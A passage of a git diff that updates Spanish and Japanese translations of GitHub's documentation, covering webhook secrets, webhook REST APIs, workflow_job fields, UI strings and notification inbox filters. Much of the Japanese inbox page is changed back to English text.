%}`X-Hub-Signature-256` header{% endif %} in the webhook `POST` request. Para obtener más información sobre cómo utilizar uns ecreto con un encabezado de firma para asegurar tus cárgas útiles de webhook, consulta la sección "[Asegurar tus webhooks](/webhooks/securing/)". +El configurar un secreto de webhook te permite garantizar que las solicitudes `POST` que se enviaron a la URL de la carga útil sean de {% data variables.product.product_name %}. Cuando configuras un secreto, recibirás los encabezados {% ifversion fpt or ghes or ghec %}`X-Hub-Signature` y `X-Hub-Signature-256`{% elsif ghae %} el encabezado `X-Hub-Signature-256`{% endif %} en la solicitud de webhook `POST`. Para obtener más información sobre cómo utilizar uns ecreto con un encabezado de firma para asegurar tus cárgas útiles de webhook, consulta la sección "[Asegurar tus webhooks](/webhooks/securing/)". diff --git a/translations/es-ES/data/reusables/webhooks/webhooks-rest-api-links.md b/translations/es-ES/data/reusables/webhooks/webhooks-rest-api-links.md index 292c8e6307..34d81fb209 100644 --- a/translations/es-ES/data/reusables/webhooks/webhooks-rest-api-links.md +++ b/translations/es-ES/data/reusables/webhooks/webhooks-rest-api-links.md @@ -1,5 +1,5 @@ -The webhook REST APIs enable you to manage repository, organization, and app webhooks.{% ifversion fpt or ghes > 3.2 or ghae or ghec %} You can use this API to list webhook deliveries for a webhook, or get and redeliver an individual delivery for a webhook, which can be integrated into an external app or service.{% endif %} You can also use the REST API to change the configuration of the webhook. Por ejemplo, puedes modificar la URL de la carga útil, el tipo de contenido, la verificación de SSL, y el secreto. Para obtener más información, consulta: +Las API de REST de los webhooks te permiten administrar webhooks de repositorio, organización y aplicación.{% ifversion fpt or ghes > 3.2 or ghae or ghec %} Puedes utilizar esta API para listar las entregas de webhook para uno de ellos u obtener y volver a hacer una entrega individual para uno de ellos, la cual puede integrarse en una app o servicio externo.{% endif %}. También puedes utilizar la API de REST para cambiar la configuración del webhook. Por ejemplo, puedes modificar la URL de la carga útil, el tipo de contenido, la verificación de SSL, y el secreto. Para obtener más información, consulta: - [API de REST para los webhooks de los repositorios](/rest/reference/repos#webhooks) -- [Organization Webhooks REST API](/rest/reference/orgs#webhooks) +- [API de REST de webhooks de organización](/rest/reference/orgs#webhooks) - [{% data variables.product.prodname_github_app %} API de REST de Webhooks](/rest/reference/apps#webhooks) diff --git a/translations/es-ES/data/reusables/webhooks/workflow_job_properties.md b/translations/es-ES/data/reusables/webhooks/workflow_job_properties.md index 5b6ae8c80a..1a54bff9f7 100644 --- a/translations/es-ES/data/reusables/webhooks/workflow_job_properties.md +++ b/translations/es-ES/data/reusables/webhooks/workflow_job_properties.md @@ -1,4 +1,10 @@ -| Clave | Type | Descripción | -| -------------- | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| `Acción` | `secuencia` | La acción realizada. Puede ser una de las siguientes:
                    • `queued` - Se creó un job nuevo.
                    • `in_progress` - El job se comenzó a procesar en el ejecutor.
                    • `completed` - el `status` del job es `completed`.
                    | -| `workflow_job` | `objeto` | El job de flujo de trabajo. Muchas claves de `workflow_job`, tales como `head_sha`, `conclusion`, y `started_at` son las mismas que aquellas en un objeto [`check_run`](#check_run). | +| Clave | Type | Descripción | +| --------------------------------- | ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | +| `Acción` | `secuencia` | La acción realizada. Puede ser una de las siguientes:
                    • `queued` - Se creó un job nuevo.
                    • `in_progress` - El job se comenzó a procesar en el ejecutor.
                    • `completed` - el `status` del job es `completed`.
                    | +| `workflow_job` | `objeto` | El job de flujo de trabajo. Muchas claves de `workflow_job`, tales como `head_sha`, `conclusion`, y `started_at` son las mismas que aquellas en un objeto [`check_run`](#check_run). | +| `workflow_job[status]` | `secuencia` | El estado actual del trabajo. Puede ser `queued`, `in_progress`, o `completed`. | +| `workflow_job[labels]` | `arreglo` | Custom labels for the job. Specified by the [`"runs-on"` attribute](/actions/reference/workflow-syntax-for-github-actions#jobsjob_idruns-on) in the workflow YAML. | +| `workflow_job[runner_id]` | `número` | The ID of the runner that is running this job. This will be `null` as long as `workflow_job[status]` is `queued`. | +| `workflow_job[runner_name]` | `secuencia` | The name of the runner that is running this job. This will be `null` as long as `workflow_job[status]` is `queued`. | +| `workflow_job[runner_group_id]` | `número` | The ID of the runner group that is running this job. This will be `null` as long as `workflow_job[status]` is `queued`. | +| `workflow_job[runner_group_name]` | `secuencia` | The name of the runner group that is running this job. This will be `null` as long as `workflow_job[status]` is `queued`. | diff --git a/translations/es-ES/data/ui.yml b/translations/es-ES/data/ui.yml index f16cba693e..6b803d1beb 100644 --- a/translations/es-ES/data/ui.yml +++ b/translations/es-ES/data/ui.yml @@ -21,7 +21,7 @@ search: placeholder: Busca temas, productos... loading: Cargando no_results: No se encontró ningún resultado - no_content: No content + no_content: Sin contenido homepage: explore_by_product: Explorar por producto version_picker: Versión diff --git a/translations/es-ES/data/variables/actions.yml b/translations/es-ES/data/variables/actions.yml index 60c8b59d01..86968e6229 100644 --- a/translations/es-ES/data/variables/actions.yml +++ b/translations/es-ES/data/variables/actions.yml @@ -1,3 +1,3 @@ --- hosted_runner: 'Ejecutor hospedado en AE' -azure_portal: 'Azure Portal' +azure_portal: 'Portal de Azure' diff --git a/translations/es-ES/data/variables/contact.yml b/translations/es-ES/data/variables/contact.yml index 3194bb80da..042e88678f 100644 --- a/translations/es-ES/data/variables/contact.yml +++ b/translations/es-ES/data/variables/contact.yml @@ -1,7 +1,7 @@ --- -contact_ent_support: '[GitHub Enterprise Support](https://support.github.com/contact?tags=docs-generic)' +contact_ent_support: '[Soporte de GitHub Enterprise](https://support.github.com/contact?tags=docs-generic)' contact_support: >- - {% ifversion fpt or ghec %}[GitHub Support](https://support.github.com/contact?tags=docs-generic){% elsif ghes %}your site administrator{% elsif ghae %}your enterprise owner{% endif %} + {% ifversion fpt or ghec %}[Soporte de GitHub](https://support.github.com/contact?tags=docs-generic){% elsif ghes %}tu administrador de sitio{% elsif ghae %}tu propietario de empresa{% endif %} report_abuse: >- {% ifversion fpt or ghec %}[Report abuse](https://github.com/contact/report-abuse){% endif %} report_content: >- @@ -10,7 +10,7 @@ contact_dmca: >- {% ifversion fpt or ghec %}[Copyright claims form](https://github.com/contact/dmca){% endif %} contact_privacy: >- {% ifversion fpt or ghec %}[Privacy contact form](https://github.com/contact/privacy){% endif %} -contact_enterprise_sales: "[Equipo de ventas de GitHub](https://enterprise.github.com/contact)" +contact_enterprise_sales: "[Equipo de ventas de GitHub](https://github.com/enterprise/contact)" contact_feedback_actions: '[Formulario para retroalimentación de GitHub Actions](https://support.github.com/contact/feedback?contact[category]=actions)' #The team that provides Standard Support enterprise_support: 'Soporte para GitHub Enterprise' diff --git a/translations/es-ES/data/variables/migrations.yml b/translations/es-ES/data/variables/migrations.yml index 58e213abc1..9a06d95841 100644 --- a/translations/es-ES/data/variables/migrations.yml +++ b/translations/es-ES/data/variables/migrations.yml @@ -2,6 +2,6 @@ user_migrations_intro: >- Puedes utilizar esta API para revisar, respaldar, o migrar tus datos de usuario que se almacenan en {% data variables.product.product_name %},com. organization_migrations_intro: >- - The organization migrations API lets you move a repository from {% data variables.product.prodname_dotcom_the_website %} to {% data variables.product.prodname_ghe_server %}. For more information, see "[Exporting migration data from GitHub.com](/enterprise-server@latest/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom)" in the {% data variables.product.prodname_ghe_server %} documentation. + La API de migraciones de la organización te permite mover un repositorio desde {% data variables.product.prodname_dotcom_the_website %} hasta {% data variables.product.prodname_ghe_server %}. Para obtener más información, consulta la sección "[Explorar los datos de migración desde GitHub.com](/enterprise-server@latest/admin/user-management/migrating-data-to-and-from-your-enterprise/exporting-migration-data-from-githubcom)" en la documentación de {% data variables.product.prodname_ghe_server %}. source_imports_intro: >- La API de Importaciones de Código Fuente te permite iniciar una importación desde un repositorio origen en Git, Subversion, Mercurial o Team Foundation Version Control. Esta es la misma funcionalidad que tiene el importador de {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta la sección "[Importar un repositorio con el importador de {% data variables.product.prodname_dotcom %}](/github/importing-your-projects-to-github/importing-a-repository-with-github-importer)". diff --git a/translations/es-ES/data/variables/product.yml b/translations/es-ES/data/variables/product.yml index 08b1b3a4bb..1749ca6ab8 100644 --- a/translations/es-ES/data/variables/product.yml +++ b/translations/es-ES/data/variables/product.yml @@ -19,7 +19,7 @@ prodname_ghe_managed: 'GitHub AE' prodname_ghe_one: 'GitHub One' ## Use these variables when referring specifically to a location within a product product_location: >- - {% ifversion ghes %}your GitHub Enterprise Server instance{% elsif ghae %}your enterprise{% else %}GitHub.com{% endif %} + {% ifversion ghes %}tu instancia de GitHub Enterprise Server{% elsif ghae %}tu empresa{% else %}GitHub.com{% endif %} #Used ONLY when you need to refer to a GHES instance in an article that is versioned for non-GHES versions. #Do not use in other situations! product_location_enterprise: 'tu instancia de servidor de GitHub Enterprise' @@ -119,7 +119,7 @@ support_ticket_priority_high: 'Alto' support_ticket_priority_normal: 'Normal' support_ticket_priority_low: 'Bajo' #GitHub Professional Services -prodname_professional_services: 'GitHub Professional Services' +prodname_professional_services: 'Servicios Profesionales de GitHub' prodname_professional_services_team: 'Servicios profesionales' #Security features / code scanning platform / Security Lab prodname_security: 'GitHub Security Lab' @@ -136,7 +136,7 @@ prodname_codeql_workflow: 'Flujo de trabajo de análisis de CodeQL' #Visual Studio prodname_vs: 'Visual Studio' prodname_vscode: 'Visual Studio Code' -prodname_vss_ghe: 'Visual Studio subscriptions with GitHub Enterprise' +prodname_vss_ghe: 'Suscripciones a Visual Studio con GitHub Enterprise' prodname_vss_admin_portal_with_url: 'el [portal de admnistrador para las suscripciones de Visual Studio](https://visualstudio.microsoft.com/subscriptions-administration/)' prodname_vscode_command_palette: 'VS Code Command Palette' #GitHub Dependabot diff --git a/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md b/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md index 22f2617a18..0075ffaf32 100644 --- a/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md +++ b/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/setting-up-notifications/configuring-notifications.md @@ -147,7 +147,8 @@ Email notifications from {% data variables.product.product_location %} contain t - There are updates in repositories or team discussions you're watching or in a conversation you're participating in. For more information, see "[About participating and watching notifications](#about-participating-and-watching-notifications)." - You gain access to a new repository or you've joined a new team. For more information, see "[Automatic watching](#automatic-watching)."{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} - There are new {% data variables.product.prodname_dependabot_alerts %} in your repository. For more information, see "[{% data variables.product.prodname_dependabot_alerts %} notification options](#dependabot-alerts-notification-options)." {% endif %} {% ifversion fpt or ghec %} - - There are workflow runs updates on repositories set up with {% data variables.product.prodname_actions %}. For more information, see "[{% data variables.product.prodname_actions %} notification options](#github-actions-notification-options)."{% endif %} + - There are workflow runs updates on repositories set up with {% data variables.product.prodname_actions %}. For more information, see "[{% data variables.product.prodname_actions %} notification options](#github-actions-notification-options)."{% endif %}{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5668 %} + - There are new deploy keys added to repositories that belong to organizations that you're an owner of. For more information, see "[Organization alerts notification options](#organization-alerts-notification-options)."{% endif %} ## Automatic watching @@ -206,7 +207,7 @@ If you are a member of more than one organization, you can configure each one to {% data reusables.notifications.vulnerable-dependency-notification-delivery-method-customization2 %} {% data reusables.notifications.vulnerable-dependency-notification-options %} -For more information about the notification delivery methods available to you, and advice on optimizing your notifications for {% ifversion fpt or ghes or ghec %}{% data variables.product.prodname_dependabot_alerts %}{% else %}security alerts{% endif %}, see "[Configuring notifications for vulnerable dependencies](/github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies)." +For more information about the notification delivery methods available to you, and advice on optimizing your notifications for {% data variables.product.prodname_dependabot_alerts %}, see "[Configuring notifications for vulnerable dependencies](/github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies)." {% endif %} {% ifversion fpt or ghes or ghec %} @@ -218,6 +219,13 @@ Choose how you want to receive workflow run updates for repositories that you ar {% endif %} +{% ifversion fpt or ghec or ghes > 3.3 or ghae-issue-5668 %} +## Organization alerts notification options + +If you're an organization owner, you'll receive email notifications by default when organization members add new deploy keys to repositories within the organization. You can unsubscribe from these notifications. On the notification settings page, under "Organization alerts", unselect **Email**. + +{% endif %} + {% ifversion fpt or ghes or ghec %} ## Managing your notification settings with {% data variables.product.prodname_mobile %} diff --git a/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md b/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md index e9867a06fa..0b8710d460 100644 --- a/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md +++ b/translations/ja-JP/content/account-and-profile/managing-subscriptions-and-notifications-on-github/viewing-and-triaging-notifications/managing-notifications-from-your-inbox.md @@ -1,6 +1,6 @@ --- -title: インボックスからの通知を管理する -intro: 'インボックスを使用して、メール{% ifversion fpt or ghes or ghec %}とモバイル{% endif %}間で通知をすばやくトリアージして同期します。' +title: Managing notifications from your inbox +intro: 'Use your inbox to quickly triage and sync your notifications across email{% ifversion fpt or ghes or ghec %} and mobile{% endif %}.' redirect_from: - /articles/marking-notifications-as-read - /articles/saving-notifications-for-later @@ -15,101 +15,100 @@ topics: - Notifications shortTitle: Manage from your inbox --- - {% ifversion ghes %} {% data reusables.mobile.ghes-release-phase %} {% endif %} -## インボックスについて +## About your inbox {% ifversion fpt or ghes or ghec %} -{% data reusables.notifications-v2.notifications-inbox-required-setting %} 詳しい情報については、「[通知を設定する](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)」を参照してください。 +{% data reusables.notifications-v2.notifications-inbox-required-setting %} For more information, see "[Configuring notifications](/github/managing-subscriptions-and-notifications-on-github/configuring-notifications#choosing-your-notification-settings)." {% endif %} -インボックスへアクセスするには、任意のページの右上で、{% octicon "bell" aria-label="The notifications bell" %} をクリックします。 +To access your notifications inbox, in the upper-right corner of any page, click {% octicon "bell" aria-label="The notifications bell" %}. - ![未読メッセージを示す通知](/assets/images/help/notifications/notifications_general_existence_indicator.png) + ![Notification indicating any unread message](/assets/images/help/notifications/notifications_general_existence_indicator.png) -インボックスには、登録を解除していないか、**Done** とマークされていないすべての通知が表示されます。ワークフローに対して最適な形になるよう、フィルタを使用してインボックスをカスタマイズし、すべてまたは未読の通知を表示して、通知をグループ化することで概要をすばやく確認できます。 +Your inbox shows all of the notifications that you haven't unsubscribed to or marked as **Done.** You can customize your inbox to best suit your workflow using filters, viewing all or just unread notifications, and grouping your notifications to get a quick overview. - ![インボックスビュー](/assets/images/help/notifications-v2/inbox-view.png) + ![inbox view](/assets/images/help/notifications-v2/inbox-view.png) -デフォルトでは、インボックスに既読と未読の通知が表示されます。 未読の通知のみを表示するには、[**Unread**] をクリックするか、`is:unread` クエリを使用します。 +By default, your inbox will show read and unread notifications. To only see unread notifications, click **Unread** or use the `is:unread` query. - ![未読のインボックスイビュー](/assets/images/help/notifications-v2/unread-inbox-view.png) + ![unread inbox view](/assets/images/help/notifications-v2/unread-inbox-view.png) -## トリアージオプション +## Triaging options -インボックスからの通知をトリアージする場合のオプションは次のとおりです。 +You have several options for triaging notifications from your inbox. -| トリアージオプション | 説明 | -| ------------ | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- | -| Save | 後で確認するために、通知を保存します。 通知を保存するには、通知の右側にある {% octicon "bookmark" aria-label="The bookmark icon" %} をクリックします。

                    保存済の通知は無期限に保持され、サイドバーの [**Saved**] をクリックするか、`is:saved` クエリで表示できます。 5か月以上前に保存した通知の保存を解除すると、通知は1日以内にインボックスから消えます。 | -| 完了 | 通知を完了済としてマークし、受信トレイから通知を削除します。 サイドバーの [**Done**] をクリックするか、`is:done` クエリを使用すると、完了した通知をすべて表示できます。 **完了済**としてマークされている通知は、5か月間保持されます。 | -| サブスクライブ解除します | @メンションされるか、参加している Team が@メンションされるか、またはレビューがリクエストされるまで、インボックスから通知を自動的に削除し、会話からサブスクライブ解除します。 | -| Read | 通知を既読としてマークします。 インボックスで既読の通知のみを表示するには、`is:read` クエリを使用します。 このクエリには、**完了**としてマークされた通知は含まれません。 | -| Unread | 通知を未読としてマークします。 インボックスで未読の通知のみを表示するには、`is:unread` クエリを使用します。 | +| Triaging option | Description | +|-----------------|-------------| +| Save | Saves your notification for later review. To save a notification, to the right of the notification, click {% octicon "bookmark" aria-label="The bookmark icon" %}.

                    Saved notifications are kept indefinitely and can be viewed by clicking **Saved** in the sidebar or with the `is:saved` query. If your saved notification is older than 5 months and becomes unsaved, the notification will disappear from your inbox within a day. | +| Done | Marks a notification as completed and removes the notification from your inbox. You can see all completed notifications by clicking **Done** in the sidebar or with the `is:done` query. Notifications marked as **Done** are saved for 5 months. +| Unsubscribe | Automatically removes the notification from your inbox and unsubscribes you from the conversation until you are @mentioned, a team you're on is @mentioned, or you're requested for review. +| Read | Marks a notification as read. To only view read notifications in your inbox, use the `is:read` query. This query doesn't include notifications marked as **Done**. +| Unread | Marks notification as unread. To only view unread notifications in your inbox, use the `is:unread` query. | -利用可能なキーボードショートカットについて詳しくは、「[キーボードショートカット](/github/getting-started-with-github/keyboard-shortcuts#notifications)」を参照してください。 +To see the available keyboard shortcuts, see "[Keyboard Shortcuts](/github/getting-started-with-github/keyboard-shortcuts#notifications)." -トリアージオプションを選択する前に、まず通知の詳細をプレビューして調査することができます。 詳しい情報については、「[単一の通知をトリアージする](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification)」を参照してください。 +Before choosing a triage option, you can preview your notification's details first and investigate. For more information, see "[Triaging a single notification](/github/managing-subscriptions-and-notifications-on-github/triaging-a-single-notification)." -## 複数の通知を同時にトリアージする +## Triaging multiple notifications at the same time -複数の通知を同時にトリアージするには、関連する通知を選択し、{% octicon "kebab-horizontal" aria-label="The edit icon" %} ドロップダウンを使用してトリアージオプションを選択します。 +To triage multiple notifications at once, select the relevant notifications and use the {% octicon "kebab-horizontal" aria-label="The edit icon" %} drop-down to choose a triage option. -![トリアージオプションと選択した通知を含むドロップダウンメニュー](/assets/images/help/notifications-v2/triage-multiple-notifications-together.png) +![Drop-down menu with triage options and selected notifications](/assets/images/help/notifications-v2/triage-multiple-notifications-together.png) -## デフォルト通知フィルタ +## Default notification filters -デフォルトでは、インボックスには、割り当てられたとき、スレッドに参加したとき、プルリクエストの確認をリクエストされたとき、ユーザ名が直接 @メンションされたとき、またはメンバーになっている Team が @メンションされたときのフィルタがあります。 +By default, your inbox has filters for when you are assigned, participating in a thread, requested to review a pull request, or when your username is @mentioned directly or a team you're a member of is @mentioned. - ![デフォルトのカスタムフィルタ](/assets/images/help/notifications-v2/default-filters.png) + ![Default custom filters](/assets/images/help/notifications-v2/default-filters.png) -## カスタムフィルタでインボックスをカスタマイズする +## Customizing your inbox with custom filters -独自のカスタムフィルタを 15 個まで追加できます。 +You can add up to 15 of your own custom filters. {% data reusables.notifications.access_notifications %} -2. フィルタ設定を開くには、左側のサイドバーの [Filters] の横にある {% octicon "gear" aria-label="The Gear icon" %} をクリックします。 +2. To open the filter settings, in the left sidebar, next to "Filters", click {% octicon "gear" aria-label="The Gear icon" %}. {% tip %} - **ヒント:** インボックスビューでクエリを作成し、[**Save**] をクリックすると、カスタムフィルタの設定が開き、フィルタのインボックスの結果をすばやくプレビューできます。 + **Tip:** You can quickly preview a filter's inbox results by creating a query in your inbox view and clicking **Save**, which opens the custom filter settings. {% endtip %} -3. フィルタの名前とフィルタクエリを追加します。 たとえば、特定のリポジトリの通知のみを表示するには、`repo:octocat/open-source-project-name reason:participating` クエリを使用してフィルタを作成できます。 ネイティブの絵文字キーボードを使用して、絵文字を追加することもできます。 サポートされている検索クエリのリストについては、「[カスタムフィルタでサポートされているクエリ](#supported-queries-for-custom-filters)」を参照してください。 +3. Add a name for your filter and a filter query. For example, to only see notifications for a specific repository, you can create a filter using the query `repo:octocat/open-source-project-name reason:participating`. You can also add emojis with a native emoji keyboard. For a list of supported search queries, see "[Supported queries for custom filters](#supported-queries-for-custom-filters)." - ![カスタムフィルタの例](/assets/images/help/notifications-v2/custom-filter-example.png) + ![Custom filter example](/assets/images/help/notifications-v2/custom-filter-example.png) -4. ** Create（作成）**をクリックしてください。 +4. Click **Create**. -## カスタムフィルタの制限 +## Custom filter limitations -カスタムフィルタは現在、以下をサポートしていません。 - - プルリクエストや Issue のタイトルの検索を含む、インボックスでの全文検索。 - - `is:issue`、`is:pr`、および `is:pull-request` クエリフィルタの区別。 これらのクエリは、Issue とプルリクエストの両方を検索結果として表示します。 - - 15 個以上のカスタムフィルタの作成。 - - デフォルトのフィルタまたはその順序の変更。 - - `NOT` または `-QUALIFIER` を使用した [exclusion](/github/searching-for-information-on-github/understanding-the-search-syntax#exclude-certain-results) の検索。 +Custom filters do not currently support: + - Full text search in your inbox, including searching for pull request or issue titles. + - Distinguishing between the `is:issue`, `is:pr`, and `is:pull-request` query filters. These queries will return both issues and pull requests. + - Creating more than 15 custom filters. + - Changing the default filters or their order. + - Search [exclusion](/github/searching-for-information-on-github/understanding-the-search-syntax#exclude-certain-results) using `NOT` or `-QUALIFIER`. -## カスタムフィルタでサポートされているクエリ +## Supported queries for custom filters -使用できるフィルタの種類は次のとおりです。 - - `repo:` を使用したリポジトリによるフィルタ - - `is:` を使用したディスカッションタイプによるフィルタ - - `reason:` を使用した通知理由でのフィルタ{% ifversion fpt or ghec %} - - `author:` を使用した通知作者によるフィルタ - - `org:` を使用したOrganization によるフィルタ{% endif %} +These are the types of filters that you can use: + - Filter by repository with `repo:` + - Filter by discussion type with `is:` + - Filter by notification reason with `reason:`{% ifversion fpt or ghec %} + - Filter by notification author with `author:` + - Filter by organization with `org:`{% endif %} -### サポートされている `repo:` クエリ +### Supported `repo:` queries -`repo:` フィルタを追加するには、リポジトリの所有者をクエリの `repo:owner/repository` に含める必要があります。 オーナーは、通知をトリガーする {% data variables.product.prodname_dotcom %} アセットを所有する Organization またはユーザです。 例えば、 `repo:octo-org/octo-repo` は、Organization 内の octo-repo リポジトリでトリガーされた通知を表示します。 +To add a `repo:` filter, you must include the owner of the repository in the query: `repo:owner/repository`. An owner is the organization or the user who owns the {% data variables.product.prodname_dotcom %} asset that triggers the notification. For example, `repo:octo-org/octo-repo` will show notifications triggered in the octo-repo repository within the octo-org organization. -### サポートされている `is:` クエリ +### Supported `is:` queries -{% data variables.product.product_location %} での特定のアクティビティの通知をフィルタするには、`is` クエリを使用できます。 For example, to only see repository invitation updates, use `is:repository-invitation`{% ifversion not ghae %}, and to only see {% data variables.product.prodname_dependabot %} alerts, use `is:repository-vulnerability-alert`{% endif %}. +To filter notifications for specific activity on {% data variables.product.product_location %}, you can use the `is` query. For example, to only see repository invitation updates, use `is:repository-invitation`{% ifversion not ghae %}, and to only see {% data variables.product.prodname_dependabot_alerts %}, use `is:repository-vulnerability-alert`{% endif %}. - `is:check-suite` - `is:commit` @@ -126,53 +125,53 @@ shortTitle: Manage from your inbox For information about reducing noise from notifications for {% data variables.product.prodname_dependabot_alerts %}, see "[Configuring notifications for vulnerable dependencies](/github/managing-security-vulnerabilities/configuring-notifications-for-vulnerable-dependencies)." {% endif %} -`is:` クエリを使用して、通知がトリアージされた方法を記述することもできます。 +You can also use the `is:` query to describe how the notification was triaged. - `is:saved` - `is:done` - `is:unread` - `is:read` -### サポートされている `reason:` クエリ +### Supported `reason:` queries -更新を受信した理由で通知をフィルタするには、`reason:` クエリを使用できます。 たとえば、自分 (または自分が所属する Team) がプルリクエストのレビューをリクエストされたときに通知を表示するには、`reason:review-requested` を使用します。 詳しい情報については、「[通知について](/github/managing-subscriptions-and-notifications-on-github/about-notifications#reasons-for-receiving-notifications)」を参照してください。 +To filter notifications by why you've received an update, you can use the `reason:` query. For example, to see notifications when you (or a team you're on) is requested to review a pull request, use `reason:review-requested`. For more information, see "[About notifications](/github/managing-subscriptions-and-notifications-on-github/about-notifications#reasons-for-receiving-notifications)." -| クエリ | 説明 | -| ------------------------- | ----------------------------------------------------------------------------------------------------- | -| `reason:assign` | 割り当てられている Issue またはプルリクエストに更新があるとき。 | -| `reason:author` | プルリクエストまたは Issue を開くと、更新または新しいコメントがあったとき。 | -| `reason:comment` | Issue、プルリクエスト、または Team ディスカッションにコメントしたとき。 | -| `reason:participating` | Issue、プルリクエスト、Team ディスカッションについてコメントしたり、@メンションされているとき。 | -| `reason:invitation` | Team、Organization、またはリポジトリに招待されたとき。 | -| `reason:manual` | まだサブスクライブしていない Issue またはプルリクエストで [**Subscribe**] をクリックしたとき。 | -| `reason:mention` | 直接@メンションされたとき。 | -| `reason:review-requested` | 自分または参加している Team が、プルリクエストを確認するようにリクエストされているとき。{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -| `reason:security-alert` | リポジトリに対してセキュリティアラートが発行されたとき。{% endif %} -| `reason:state-change` | プルリクエストまたは Issue の状態が変更されたとき。 たとえば、Issue がクローズされたり、プルリクエストがマージされた場合です。 | -| `reason:team-mention` | メンバーになっている Team が@メンションされたとき。 | -| `reason:ci-activity` | リポジトリに、新しいワークフロー実行ステータスなどの CI 更新があるとき。 | +| Query | Description | +|-----------------|-------------| +| `reason:assign` | When there's an update on an issue or pull request you've been assigned to. +| `reason:author` | When you opened a pull request or issue and there has been an update or new comment. +| `reason:comment`| When you commented on an issue, pull request, or team discussion. +| `reason:participating` | When you have commented on an issue, pull request, or team discussion or you have been @mentioned. +| `reason:invitation` | When you're invited to a team, organization, or repository. +| `reason:manual` | When you click **Subscribe** on an issue or pull request you weren't already subscribed to. +| `reason:mention` | You were directly @mentioned. +| `reason:review-requested` | You or a team you're on have been requested to review a pull request.{% ifversion fpt or ghes or ghae-issue-4864 or ghec %} +| `reason:security-alert` | When a security alert is issued for a repository.{% endif %} +| `reason:state-change` | When the state of a pull request or issue is changed. For example, an issue is closed or a pull request is merged. +| `reason:team-mention` | When a team you're a member of is @mentioned. +| `reason:ci-activity` | When a repository has a CI update, such as a new workflow run status. {% ifversion fpt or ghec %} -### サポートされている `author:` クエリ +### Supported `author:` queries -ユーザごとに通知をフィルタするには、`author:` クエリを使用できます。 作者は、通知されるスレッド（Issue、プルリクエスト、Gist、ディスカッションなど）の元の作者です。 たとえば、Octocat ユーザによって作成されたスレッドの通知を表示するには、`author:octocat` を使用します。 +To filter notifications by user, you can use the `author:` query. An author is the original author of the thread (issue, pull request, gist, discussions, and so on) for which you are being notified. For example, to see notifications for threads created by the Octocat user, use `author:octocat`. -### サポートされている `org:` クエリ +### Supported `org:` queries -Organization ごとに通知をフィルタするには、`org:` クエリを使用できます。 クエリで指定する必要のある Organization は、{% data variables.product.prodname_dotcom %} で通知されているリポジトリの Organization です。 このクエリは、複数の Organization に属していて、特定の Organization の通知を表示する場合に便利です。 +To filter notifications by organization, you can use the `org` query. The organization you need to specify in the query is the organization of the repository for which you are being notified on {% data variables.product.prodname_dotcom %}. This query is useful if you belong to several organizations, and want to see notifications for a specific organization. -例えば、octo-org の Organization からの通知を表示するには、 `org:octo-org` を使用します。 +For example, to see notifications from the octo-org organization, use `org:octo-org`. {% endif %} {% ifversion fpt or ghes or ghae-issue-4864 or ghec %} -## {% data variables.product.prodname_dependabot %}カスタムフィルタ +## {% data variables.product.prodname_dependabot %} custom filters {% ifversion fpt or ghec or ghes > 3.2 %} If you use {% data variables.product.prodname_dependabot %} to keep your dependencies up-to-date, you can use and save these custom filters: -- `is:repository_vulnerability_alert` は {% data variables.product.prodname_dependabot_alerts %} の通知を表示します。 -- `reason:security_alert` は {% data variables.product.prodname_dependabot_alerts %} とセキュリティアップデートのプルリクエストの通知を表示します。 -- `author:app/dependabot` は {% data variables.product.prodname_dependabot %} によって生成された通知を表示します。 これには、{% data variables.product.prodname_dependabot_alerts %}、セキュリティアップデートのプルリクエスト、およびバージョン更新のプルリクエストが含まれます。 +- `is:repository_vulnerability_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %}. +- `reason:security_alert` to show notifications for {% data variables.product.prodname_dependabot_alerts %} and security update pull requests. +- `author:app/dependabot` to show notifications generated by {% data variables.product.prodname_dependabot %}. This includes {% data variables.product.prodname_dependabot_alerts %}, security update pull requests, and version update pull requests. For more information about {% data variables.product.prodname_dependabot %}, see "[About managing vulnerable dependencies](/github/managing-security-vulnerabilities/about-managing-vulnerable-dependencies)." {% endif %} @@ -180,10 +179,10 @@ For more information about {% data variables.product.prodname_dependabot %}, see {% ifversion ghes < 3.3 or ghae-issue-4864 %} If you use {% data variables.product.prodname_dependabot %} to tell you about vulnerable dependencies, you can use and save these custom filters to show notifications for {% data variables.product.prodname_dependabot_alerts %}: -- `is:repository_vulnerability_alert` +- `is:repository_vulnerability_alert` - `reason:security_alert` -{% data variables.product.prodname_dependabot %} に関する詳しい情報については、「[脆弱性のある依存関係に対するアラートについて](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)」を参照してください。 +For more information about {% data variables.product.prodname_dependabot %}, see "[About alerts for vulnerable dependencies](/github/managing-security-vulnerabilities/about-alerts-for-vulnerable-dependencies)." {% endif %} {% endif %} diff --git a/translations/ja-JP/content/account-and-profile/setting-up-and-managing-your-github-profile/managing-contribution-graphs-on-your-profile/sending-enterprise-contributions-to-your-githubcom-profile.md 